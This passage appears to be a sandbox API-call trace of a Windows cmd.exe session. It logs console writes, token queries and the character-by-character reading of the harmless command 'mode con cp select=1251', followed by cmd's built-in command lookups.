cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0031.616] WriteFile (in: hFile=0xf4, lpBuffer=0x49d9c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x18f808, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesWritten=0x18f808*=0x3f, lpOverlapped=0x0) returned 1 [0031.616] _vsnwprintf (in: _Buffer=0x49da6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x18f838 | out: _Buffer="\r\n") returned 2 [0031.616] _get_osfhandle (_FileHandle=1) returned 0xf4 [0031.616] GetFileType (hFile=0xf4) returned 0x3 [0031.616] _get_osfhandle (_FileHandle=1) returned 0xf4 [0031.616] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49d9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0031.616] WriteFile (in: hFile=0xf4, lpBuffer=0x49d9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x18f808, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesWritten=0x18f808*=0x2, lpOverlapped=0x0) returned 1 [0031.616] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e30000 [0031.616] GetProcAddress (hModule=0x76e30000, lpProcName="CopyFileExW") returned 0x76e423d0 [0031.617] GetProcAddress (hModule=0x76e30000, lpProcName="IsDebuggerPresent") returned 0x76e38290 [0031.617] GetProcAddress (hModule=0x76e30000, lpProcName="SetConsoleInputExeNameW") returned 0x76e417e0 [0031.617] _get_osfhandle (_FileHandle=0) returned 0xe8 [0031.617] GetFileType (hFile=0xe8) returned 0x3 [0031.617] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0031.617] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x18f660 | out: TokenHandle=0x18f660*=0x0) returned 0xc000007c [0031.617] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x18f660 | out: TokenHandle=0x18f660*=0x50) returned 0x0 [0031.617] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x18f670, TokenInformationLength=0x4, ReturnLength=0x18f678 | out: TokenInformation=0x18f670, ReturnLength=0x18f678) returned 0x0 [0031.617] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x18f678, TokenInformationLength=0x4, ReturnLength=0x18f670 | out: TokenInformation=0x18f678, ReturnLength=0x18f670) returned 0x0 [0031.617] NtClose (Handle=0x50) returned 0x0 [0031.617] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x18f640, nSize=0x0, Arguments=0x18f648 | out: lpBuffer="\x97e0\x25") returned 0xf [0031.617] GetProcessHeap () returned 0x240000 [0031.617] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x241ab0 [0031.617] GetConsoleTitleW (in: lpConsoleTitle=0x18f690, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0031.618] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0031.618] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0031.619] GetProcessHeap () returned 0x240000 [0031.619] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0031.619] LocalFree (hMem=0x2597e0) returned 0x0 [0031.619] GetProcessHeap () returned 0x240000 [0031.619] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa10 | out: hHeap=0x240000) returned 1 [0031.619] _vsnwprintf (in: _Buffer=0x49da6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x18f378 | out: _Buffer="\r\n") returned 2 [0031.619] _get_osfhandle (_FileHandle=1) returned 0xf4 [0031.619] GetFileType (hFile=0xf4) returned 0x3 [0031.619] _get_osfhandle (_FileHandle=1) returned 0xf4 [0031.619] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49d9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0031.619] WriteFile (in: hFile=0xf4, lpBuffer=0x49d9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x18f348, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesWritten=0x18f348*=0x2, lpOverlapped=0x0) returned 1 [0031.619] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49d8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0031.619] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49d9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0031.619] _vsnwprintf (in: _Buffer=0x49d8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x18f388 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0031.619] _vsnwprintf (in: _Buffer=0x49d8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x18f388 | out: _Buffer=">") returned 1 [0031.619] _get_osfhandle (_FileHandle=1) returned 0xf4 [0031.619] GetFileType (hFile=0xf4) returned 0x3 [0031.619] _get_osfhandle (_FileHandle=1) returned 0xf4 [0031.619] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49d9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0031.619] WriteFile (in: hFile=0xf4, lpBuffer=0x49d9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x18f378, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesWritten=0x18f378*=0x26, lpOverlapped=0x0) returned 1 [0031.620] _get_osfhandle (_FileHandle=0) returned 0xe8 [0031.620] GetFileType (hFile=0xe8) returned 0x3 [0031.620] _get_osfhandle (_FileHandle=0) returned 0xe8 [0031.620] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0031.620] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0031.620] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e320, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0031.620] _get_osfhandle (_FileHandle=0) returned 0xe8 [0031.620] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0031.621] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0031.621] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e322, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0031.621] _get_osfhandle (_FileHandle=0) returned 0xe8 [0031.621] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0031.621] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0031.621] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e324, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0031.621] _get_osfhandle (_FileHandle=0) returned 0xe8 [0031.621] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0031.621] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0031.621] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e326, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0031.621] _get_osfhandle (_FileHandle=0) returned 0xe8 [0031.621] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0031.621] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0031.621] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0031.621] _get_osfhandle (_FileHandle=0) returned 0xe8 [0031.621] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0031.621] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0031.621] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0031.621] _get_osfhandle (_FileHandle=0) returned 0xe8 [0031.621] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0031.621] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0031.622] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0031.622] _get_osfhandle (_FileHandle=0) returned 0xe8 [0031.622] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0031.622] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0031.622] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0031.622] _get_osfhandle (_FileHandle=0) returned 0xe8 [0031.622] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0031.622] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0031.622] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0031.622] _get_osfhandle (_FileHandle=0) returned 0xe8 [0031.622] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0031.622] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0031.622] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e332, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0031.622] _get_osfhandle (_FileHandle=0) returned 0xe8 [0031.622] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0031.622] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0031.622] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e334, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0031.622] _get_osfhandle (_FileHandle=0) returned 0xe8 [0031.622] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0031.622] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0031.622] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0031.622] _get_osfhandle (_FileHandle=0) returned 0xe8 [0031.622] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0031.622] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0031.622] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e338, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0031.622] _get_osfhandle (_FileHandle=0) returned 0xe8 [0031.622] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0031.622] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0031.623] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0031.623] _get_osfhandle (_FileHandle=0) returned 0xe8 [0031.623] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0031.623] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0031.623] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0031.623] _get_osfhandle (_FileHandle=0) returned 0xe8 [0031.623] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0031.623] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0031.623] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0031.623] _get_osfhandle (_FileHandle=0) returned 0xe8 [0031.623] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0031.623] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0031.623] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e340, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0031.623] _get_osfhandle (_FileHandle=0) returned 0xe8 [0031.623] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0031.623] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0031.623] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e342, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0031.623] _get_osfhandle (_FileHandle=0) returned 0xe8 [0031.623] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0031.623] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0031.623] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e344, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0031.623] _get_osfhandle (_FileHandle=0) returned 0xe8 [0031.623] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0031.623] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0031.623] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e346, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0031.623] _get_osfhandle (_FileHandle=0) returned 0xe8 [0031.623] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0031.624] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0031.624] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e348, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0031.624] _get_osfhandle (_FileHandle=0) returned 0xe8 [0031.624] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0031.624] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0031.624] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0031.624] _get_osfhandle (_FileHandle=0) returned 0xe8 [0031.624] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0031.624] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0031.624] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0031.624] _get_osfhandle (_FileHandle=0) returned 0xe8 [0031.624] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0031.624] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0031.624] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0031.625] _get_osfhandle (_FileHandle=0) returned 0xe8 [0031.625] GetFileType (hFile=0xe8) returned 0x3 [0031.625] _get_osfhandle (_FileHandle=0) returned 0xe8 [0031.625] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0031.625] _get_osfhandle (_FileHandle=1) returned 0xf4 [0031.625] GetFileType (hFile=0xf4) returned 0x3 [0031.625] _get_osfhandle (_FileHandle=1) returned 0xf4 [0031.625] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x49d9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0031.625] WriteFile (in: hFile=0xf4, lpBuffer=0x49d9c320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x18f658, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesWritten=0x18f658*=0x18, lpOverlapped=0x0) returned 1 [0031.625] GetProcessHeap () returned 0x240000 [0031.625] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x25cd20 [0031.625] GetProcessHeap () returned 0x240000 [0031.625] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd20 | out: hHeap=0x240000) returned 1 [0031.625] _wcsicmp (_String1="mode", _String2=")") returned 68 [0031.625] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0031.625] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0031.625] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0031.625] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0031.625] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0031.625] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0031.625] GetProcessHeap () returned 0x240000 [0031.625] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x2597e0 [0031.625] GetProcessHeap () returned 0x240000 [0031.625] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x1a) returned 0x254610 [0031.626] GetProcessHeap () returned 0x240000 [0031.626] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x38) returned 0x256510 [0031.627] GetConsoleOutputCP () returned 0x1b5 [0031.627] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49d9bfe0 | out: lpCPInfo=0x49d9bfe0) returned 1 [0031.627] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0031.627] GetConsoleTitleW (in: lpConsoleTitle=0x18f610, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0031.627] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0031.627] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0031.627] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0031.627] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0031.627] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0031.627] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0031.627] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0031.627] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0031.627] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0031.628] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0031.628] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0031.628] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0031.628] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0031.628] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0031.628] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0031.628] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0031.628] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0031.628] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0031.628] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0031.628] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0031.628] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0031.628] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0031.628] _wcsicmp (_String1="mode", _String2="CLS") returned 10 